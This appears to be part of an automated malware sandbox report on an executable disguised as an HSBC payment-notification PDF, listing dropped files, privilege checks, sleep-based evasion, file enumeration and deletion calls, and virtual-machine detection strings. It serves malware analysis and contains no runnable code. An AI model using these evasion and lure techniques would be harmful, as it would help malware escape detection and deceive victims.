Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	Dropped PE file which has not been started: C:\Program Files\Adobe\Acrobat DC\Acrobat\x86\Acrobat\Acrobat.exe	Jump to dropped file
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	Dropped PE file which has not been started: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\MicrosoftEdgeUpdateOnDemand.exe	Jump to dropped file
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	Dropped PE file which has not been started: C:\Program Files (x86)\Java\jre-1.8\bin\rmid.exe	Jump to dropped file
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	Dropped PE file which has not been started: C:\Program Files\7-Zip\7zFM.exe	Jump to dropped file
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	Dropped PE file which has not been started: C:\Program Files (x86)\Java\jre-1.8\bin\javaw.exe	Jump to dropped file
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	Dropped PE file which has not been started: C:\Program Files\Adobe\Acrobat DC\Acrobat\plug_ins\pi_brokers\32BitMAPIBroker.exe	Jump to dropped file
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	Dropped PE file which has not been started: C:\Program Files (x86)\Java\jre-1.8\bin\klist.exe	Jump to dropped file
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	Dropped PE file which has not been started: C:\Program Files (x86)\Google\Update\1.3.36.312\GoogleUpdateComRegisterShell64.exe	Jump to dropped file
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	Dropped PE file which has not been started: C:\Program Files (x86)\Google\Update\1.3.36.312\GoogleCrashHandler.exe	Jump to dropped file
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	Dropped PE file which has not been started: C:\Program Files (x86)\Java\jre-1.8\bin\tnameserv.exe	Jump to dropped file
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	Dropped PE file which has not been started: C:\Program Files (x86)\AutoIt3\Au3Info_x64.exe	Jump to dropped file
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	Dropped PE file which has not been started: C:\Program Files\Adobe\Acrobat DC\Acrobat\Eula.exe	Jump to dropped file
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	Dropped PE file which has not been started: C:\Program Files (x86)\Microsoft Office\root\Client\AppVDllSurrogate32.exe	Jump to dropped file
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	Dropped PE file which has not been started: C:\Program Files (x86)\Google\Update\Install\{6BB58CDD-A64E-41C8-8D92-79A516D3D118}\117.0.5938.134_117.0.5938.132_chrome_updater.exe	Jump to dropped file
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	Dropped PE file which has not been started: C:\Program Files (x86)\Java\jre-1.8\bin\jp2launcher.exe	Jump to dropped file
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	Dropped PE file which has not been started: C:\Program Files\Google\Chrome\Application\117.0.5938.134\notification_helper.exe	Jump to dropped file
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	Dropped PE file which has not been started: C:\Program Files\Common Files\Adobe\Acrobat\Setup\{AC76BA86-1033-1033-7760-BC15014EA700}\WindowsInstaller-KB893803-v2-x86.exe	Jump to dropped file
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	Dropped PE file which has not been started: C:\Program Files (x86)\Google\Update\1.3.36.312\GoogleUpdateCore.exe	Jump to dropped file
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	Dropped PE file which has not been started: C:\Program Files (x86)\Microsoft Office\root\Integration\Integrator.exe	Jump to dropped file
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	Dropped PE file which has not been started: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\AdobeARMHelper.exe	Jump to dropped file
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	Dropped PE file which has not been started: C:\Program Files (x86)\Java\jre-1.8\bin\unpack200.exe	Jump to dropped file
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	Dropped PE file which has not been started: C:\Windows\System32\VSSVC.exe	Jump to dropped file
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	Dropped PE file which has not been started: C:\Program Files (x86)\Google\Update\Download\{8A69D345-D564-463C-AFF1-A69D9E530F96}\117.0.5938.134\117.0.5938.134_117.0.5938.132_chrome_updater.exe	Jump to dropped file
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	Dropped PE file which has not been started: C:\Windows\System32\SearchIndexer.exe	Jump to dropped file
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	Dropped PE file which has not been started: C:\Program Files\Adobe\Acrobat DC\Acrobat\AcroTextExtractor.exe	Jump to dropped file
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	Dropped PE file which has not been started: C:\Program Files (x86)\Microsoft Office\root\Office16\CNFNOT32.EXE	Jump to dropped file
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	Dropped PE file which has not been started: C:\Program Files\Mozilla Firefox\private_browsing.exe	Jump to dropped file
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	Dropped PE file which has not been started: C:\Program Files (x86)\AutoIt3\Au3Info.exe	Jump to dropped file
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	Dropped PE file which has not been started: C:\Program Files (x86)\Java\jre-1.8\bin\jjs.exe	Jump to dropped file
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	Dropped PE file which has not been started: C:\Program Files\Adobe\Acrobat DC\Acrobat\NGL\cefWorkflow\adobe_licensing_wf_acro.exe	Jump to dropped file
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	Dropped PE file which has not been started: C:\Program Files (x86)\AutoIt3\Aut2Exe\Aut2exe_x64.exe	Jump to dropped file
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	Dropped PE file which has not been started: C:\Program Files (x86)\Microsoft Office\root\Office16\AppSharingHookController.exe	Jump to dropped file
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	Dropped PE file which has not been started: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\Installer\setup.exe	Jump to dropped file
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	Dropped PE file which has not been started: C:\Program Files\Common Files\microsoft shared\ClickToRun\OfficeC2RClient.exe	Jump to dropped file
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	Dropped PE file which has not been started: C:\Program Files\Adobe\Acrobat DC\Acrobat\ShowAppPickerForPDF.exe	Jump to dropped file
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	Dropped PE file which has not been started: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\BHO\ie_to_edge_stub.exe	Jump to dropped file
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	Dropped PE file which has not been started: C:\Program Files (x86)\Java\jre-1.8\bin\orbd.exe	Jump to dropped file
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	Dropped PE file which has not been started: C:\Program Files\Common Files\microsoft shared\ClickToRun\AppVShNotify.exe	Jump to dropped file
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	Dropped PE file which has not been started: C:\Program Files\Google\Chrome\Application\117.0.5938.134\chrome_pwa_launcher.exe	Jump to dropped file
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	Dropped PE file which has not been started: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\SingleClientServicesUpdater.exe	Jump to dropped file
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	Dropped PE file which has not been started: C:\Program Files (x86)\AutoIt3\SciTE\SciTE.exe	Jump to dropped file
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	Dropped PE file which has not been started: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\MicrosoftEdgeUpdateCore.exe	Jump to dropped file
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	Dropped PE file which has not been started: C:\Program Files\Google\Chrome\Application\chrome_proxy.exe	Jump to dropped file
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	Dropped PE file which has not been started: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\MicrosoftEdgeUpdate.exe	Jump to dropped file
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	Dropped PE file which has not been started: C:\Program Files\Adobe\Acrobat DC\Acrobat\NGL\cefWorkflow\adobe_licensing_wf_helper_acro.exe	Jump to dropped file
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	Dropped PE file which has not been started: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\msedge_pwa_launcher.exe	Jump to dropped file
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	Dropped PE file which has not been started: C:\Program Files\Common Files\microsoft shared\ClickToRun\officesvcmgr.exe	Jump to dropped file
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	Dropped PE file which has not been started: C:\Program Files (x86)\Java\jre-1.8\bin\ktab.exe	Jump to dropped file
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	Dropped PE file which has not been started: C:\Program Files (x86)\Common Files\Java\Java Update\jucheck.exe	Jump to dropped file
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	Dropped PE file which has not been started: C:\Program Files\Mozilla Firefox\plugin-container.exe	Jump to dropped file
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	Dropped PE file which has not been started: C:\Program Files (x86)\Microsoft\Edge\Application\msedge_proxy.exe	Jump to dropped file

Source: C:\Users\user\Desktop\HSBC Payment Notification Scan Copy Ref 62587299-24_PDF.exe

Evasive API call chain: GetSystemTimeAsFileTime,DecisionNodes

graph_0-181667

Source: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\elevation_service.exe	Check user administrative privileges: GetTokenInformation,DecisionNodes
Source: C:\Program Files (x86)\Mozilla Maintenance Service\maintenanceservice.exe	Check user administrative privileges: GetTokenInformation,DecisionNodes
Source: C:\Windows\System32\PerceptionSimulation\PerceptionSimulationService.exe	Check user administrative privileges: GetTokenInformation,DecisionNodes
Source: C:\Windows\SysWOW64\perfhost.exe	Check user administrative privileges: GetTokenInformation,DecisionNodes
Source: C:\Windows\System32\Spectrum.exe	Check user administrative privileges: GetTokenInformation,DecisionNodes
Source: C:\Windows\System32\OpenSSH\ssh-agent.exe	Check user administrative privileges: GetTokenInformation,DecisionNodes
Source: C:\Users\user\Desktop\HSBC Payment Notification Scan Copy Ref 62587299-24_PDF.exe	Check user administrative privileges: GetTokenInformation,DecisionNodes	graph_0-183332

Source: C:\Users\user\Desktop\HSBC Payment Notification Scan Copy Ref 62587299-24_PDF.exe	API coverage: 5.2 %
Source: C:\Windows\SysWOW64\perfhost.exe	API coverage: 1.7 %

Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe TID: 3040	Thread sleep time: -150000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\msdtc.exe TID: 7688	Thread sleep count: 483 > 30	Jump to behavior
Source: C:\Windows\System32\msdtc.exe TID: 7688	Thread sleep time: -48300s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\perfhost.exe TID: 7852	Thread sleep count: 7782 > 30
Source: C:\Windows\SysWOW64\perfhost.exe TID: 7852	Thread sleep time: -77820000s >= -30000s
Source: C:\Windows\SysWOW64\perfhost.exe TID: 7852	Thread sleep count: 2216 > 30
Source: C:\Windows\SysWOW64\perfhost.exe TID: 7852	Thread sleep time: -22160000s >= -30000s

Source: C:\Users\user\Desktop\HSBC Payment Notification Scan Copy Ref 62587299-24_PDF.exe	Code function: 0_2_0046445A GetFileAttributesW,FindFirstFileW,FindClose,	0_2_0046445A
Source: C:\Users\user\Desktop\HSBC Payment Notification Scan Copy Ref 62587299-24_PDF.exe	Code function: 0_2_0046C6D1 FindFirstFileW,FindClose,	0_2_0046C6D1
Source: C:\Users\user\Desktop\HSBC Payment Notification Scan Copy Ref 62587299-24_PDF.exe	Code function: 0_2_0046C75C FindFirstFileW,FindClose,FileTimeToLocalFileTime,FileTimeToLocalFileTime,FileTimeToLocalFileTime,FileTimeToSystemTime,__swprintf,__swprintf,__swprintf,__swprintf,__swprintf,__swprintf,__swprintf,	0_2_0046C75C
Source: C:\Users\user\Desktop\HSBC Payment Notification Scan Copy Ref 62587299-24_PDF.exe	Code function: 0_2_0046EF95 SetCurrentDirectoryW,FindFirstFileW,FindFirstFileW,_wcscmp,_wcscmp,GetFileAttributesW,SetFileAttributesW,FindNextFileW,FindClose,FindFirstFileW,SetCurrentDirectoryW,_wcscmp,_wcscmp,SetCurrentDirectoryW,SetCurrentDirectoryW,FindNextFileW,FindClose,FindClose,	0_2_0046EF95
Source: C:\Users\user\Desktop\HSBC Payment Notification Scan Copy Ref 62587299-24_PDF.exe	Code function: 0_2_0046F0F2 SetCurrentDirectoryW,FindFirstFileW,FindFirstFileW,_wcscmp,_wcscmp,FindNextFileW,FindClose,FindFirstFileW,SetCurrentDirectoryW,_wcscmp,_wcscmp,SetCurrentDirectoryW,SetCurrentDirectoryW,FindNextFileW,FindClose,FindClose,	0_2_0046F0F2
Source: C:\Users\user\Desktop\HSBC Payment Notification Scan Copy Ref 62587299-24_PDF.exe	Code function: 0_2_0046F3F3 FindFirstFileW,Sleep,_wcscmp,_wcscmp,FindNextFileW,FindClose,	0_2_0046F3F3
Source: C:\Users\user\Desktop\HSBC Payment Notification Scan Copy Ref 62587299-24_PDF.exe	Code function: 0_2_004637EF FindFirstFileW,DeleteFileW,DeleteFileW,MoveFileW,DeleteFileW,FindNextFileW,FindClose,FindClose,	0_2_004637EF
Source: C:\Users\user\Desktop\HSBC Payment Notification Scan Copy Ref 62587299-24_PDF.exe	Code function: 0_2_00463B12 FindFirstFileW,DeleteFileW,FindNextFileW,FindClose,FindClose,	0_2_00463B12
Source: C:\Users\user\Desktop\HSBC Payment Notification Scan Copy Ref 62587299-24_PDF.exe	Code function: 0_2_0046BCBC FindFirstFileW,_wcscmp,_wcscmp,FindNextFileW,FindClose,	0_2_0046BCBC

Source: C:\Users\user\Desktop\HSBC Payment Notification Scan Copy Ref 62587299-24_PDF.exe

Code function: 0_2_004049A0 GetVersionExW,GetCurrentProcess,IsWow64Process,GetNativeSystemInfo,FreeLibrary,GetSystemInfo,GetSystemInfo,

0_2_004049A0

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 600000	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 599578	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 599453	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 599343	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 599234	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 599124	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 599015	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 598906	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 598796	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 598687	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 598565	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 598437	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 598328	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 598218	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 598109	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 598000	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 597890	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 597768	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 597640	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 597531	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 597422	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 597307	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 597203	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 596704	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 596568	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 596349	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 596093	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 595923	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 595779	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 595671	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 595561	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 595453	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 595343	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 595218	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 595109	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 595000	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 594888	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 594781	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 594672	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 594562	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 594453	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 594343	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 594234	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 594125	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 594015	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 593906	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 593796	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 593683	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 593524	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 593354	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 593234	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 593086	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 592959	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 592718	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 592387	Jump to behavior

Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File opened: C:\Program Files (x86)\common files\Oracle\Java\javapath\java.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File opened: C:\Program Files (x86)\common files\Oracle\Java\javapath\javaw.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File opened: C:\Program Files (x86)\common files\Oracle\Java\javapath\javaws.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File opened: C:\Program Files (x86)\common files\Oracle\Java\javapath_target_749031\java.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File opened: C:\Program Files (x86)\common files\Oracle\Java\javapath_target_749031\javaw.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File opened: C:\Program Files (x86)\common files\Oracle\Java\javapath_target_749031\javaws.exe	Jump to behavior

Source: Spectrum.exe, 00000014.00000003.1493327773.00000000005E4000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: NECVMWar VMware SATA CD00<
Source: SensorDataService.exe, 00000012.00000003.1563717043.00000000005A0000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMware Virtual disk SCSI Disk Device2jZ
Source: Spectrum.exe, 00000014.00000003.1495882169.00000000005BB000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: @oem2.infloc.vmwarebusdevicedescVMware VMCI Bus Devicer
Source: Spectrum.exe, 00000014.00000003.1495285221.00000000005D3000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: BBSCSI\CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00\4&224f42ef&0&000000
Source: Spectrum.exe, 00000014.00000003.1495410432.00000000005E2000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: @;^2VMware Virtual USB MouseJC:\Windows\System32\DDORes.dll,-2212
Source: Spectrum.exe, 00000014.00000003.1493327773.00000000005E4000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: _SCSI\Disk&Ven_VMware&Prod_Virtual_disk\4&1656f219&0&000000
Source: Spectrum.exe, 00000014.00000003.1493550327.00000000005D3000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Microsoft Hyper-V Virtualization Infrastructure Drivertion Infrastructure DriverLMEM
Source: SensorDataService.exe, 00000012.00000003.1461972151.000000000059A000.00000004.00000020.00020000.00000000.sdmp, SensorDataService.exe, 00000012.00000003.1462082089.000000000059A000.00000004.00000020.00020000.00000000.sdmp, SensorDataService.exe, 00000012.00000003.1461666228.000000000058B000.00000004.00000020.00020000.00000000.sdmp, Spectrum.exe, 00000014.00000003.1495882169.0000000000587000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Microsoft Hyper-V Virtualization Infrastructure Drivertion Infrastructure Driver
Source: HSBC Payment Notification Scan Copy Ref 62587299-24_PDF.exe, 00000000.00000002.1346822252.0000000000BA2000.00000004.00000020.00020000.00000000.sdmp, armsvc.exe, 00000004.00000003.1992416564.000000000087B000.00000004.00000020.00020000.00000000.sdmp, armsvc.exe, 00000004.00000003.1354235632.0000000000874000.00000004.00000020.00020000.00000000.sdmp, armsvc.exe, 00000004.00000003.1408234894.000000000087B000.00000004.00000020.00020000.00000000.sdmp, armsvc.exe, 00000004.00000003.1382519180.0000000000873000.00000004.00000020.00020000.00000000.sdmp, armsvc.exe, 00000004.00000003.1538390741.000000000087B000.00000004.00000020.00020000.00000000.sdmp, armsvc.exe, 00000004.00000003.1432188181.000000000087B000.00000004.00000020.00020000.00000000.sdmp, armsvc.exe, 00000004.00000003.1354422021.000000000087C000.00000004.00000020.00020000.00000000.sdmp, armsvc.exe, 00000004.00000003.1501311933.000000000087B000.00000004.00000020.00020000.00000000.sdmp, armsvc.exe, 00000004.00000003.1382647933.000000000087C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: SensorDataService.exe, 00000012.00000003.1563717043.00000000005A0000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMware VMCI Bus Devicesdevicedesc%;VMware VMCI Bus Devicen
Source: SensorDataService.exe, 00000012.00000003.1461666228.000000000058B000.00000004.00000020.00020000.00000000.sdmp, Spectrum.exe, 00000014.00000003.1493327773.00000000005D5000.00000004.00000020.00020000.00000000.sdmp, Spectrum.exe, 00000014.00000003.1495285221.00000000005D3000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: @wgencounter.inf,%gencounter.devicedesc%;Microsoft Hyper-V Generation Counter
Source: snmptrap.exe, 00000013.00000002.2593089162.00000000004A8000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll)
Source: Spectrum.exe, 00000014.00000003.1493327773.00000000005E4000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: .inVMware Virtual disk SCSI Disk Devicet System ManagementR
Source: Spectrum.exe, 00000014.00000003.1495882169.00000000005BB000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: @oem2.infloc.vmwarebusdevicedescVMware VMCI Bus Device
Source: Spectrum.exe, 00000014.00000003.1495285221.00000000005E2000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: 2VMware Virtual USB MouseJC:\Windows\System32\DDORes.dll,-2212
Source: HSBC Payment Notification Scan Copy Ref 62587299-24_PDF.exe, 00000000.00000002.1346748360.0000000000AC3000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW`
Source: SensorDataService.exe, 00000012.00000003.1563717043.00000000005A0000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: `hZSCSI\Disk&Ven_VMware&Prod_Virtual_disk\4&1656f219&0&000000
Source: RegSvcs.exe, 00000005.00000002.2621954804.0000000000BB3000.00000004.00000020.00020000.00000000.sdmp, ssh-agent.exe, 00000016.00000002.2600146286.00000000005F1000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll
Source: Spectrum.exe, 00000014.00000003.1495285221.00000000005D3000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: ;;SCSI\Disk&Ven_VMware&Prod_Virtual_disk\4&1656f219&0&000000
Source: SensorDataService.exe, 00000012.00000003.1461666228.000000000058B000.00000004.00000020.00020000.00000000.sdmp, Spectrum.exe, 00000014.00000003.1493327773.00000000005D5000.00000004.00000020.00020000.00000000.sdmp, Spectrum.exe, 00000014.00000003.1495285221.00000000005D3000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: @wvid.inf,%vid.devicedesc%;Microsoft Hyper-V Virtualization Infrastructure Driver`
Source: SensorDataService.exe, 00000012.00000003.1563717043.00000000005A0000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: `QZSCSI\CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00\4&224f42ef&0&000000
Source: SensorDataService.exe, 00000012.00000002.1564642086.00000000005A7000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: ZVMware Virtual USB MouseC:\Windows\System32\DDORes.dll,-2212
Source: Spectrum.exe, 00000014.00000003.1495410432.00000000005E2000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: @;^VMware Virtual USB Mouse
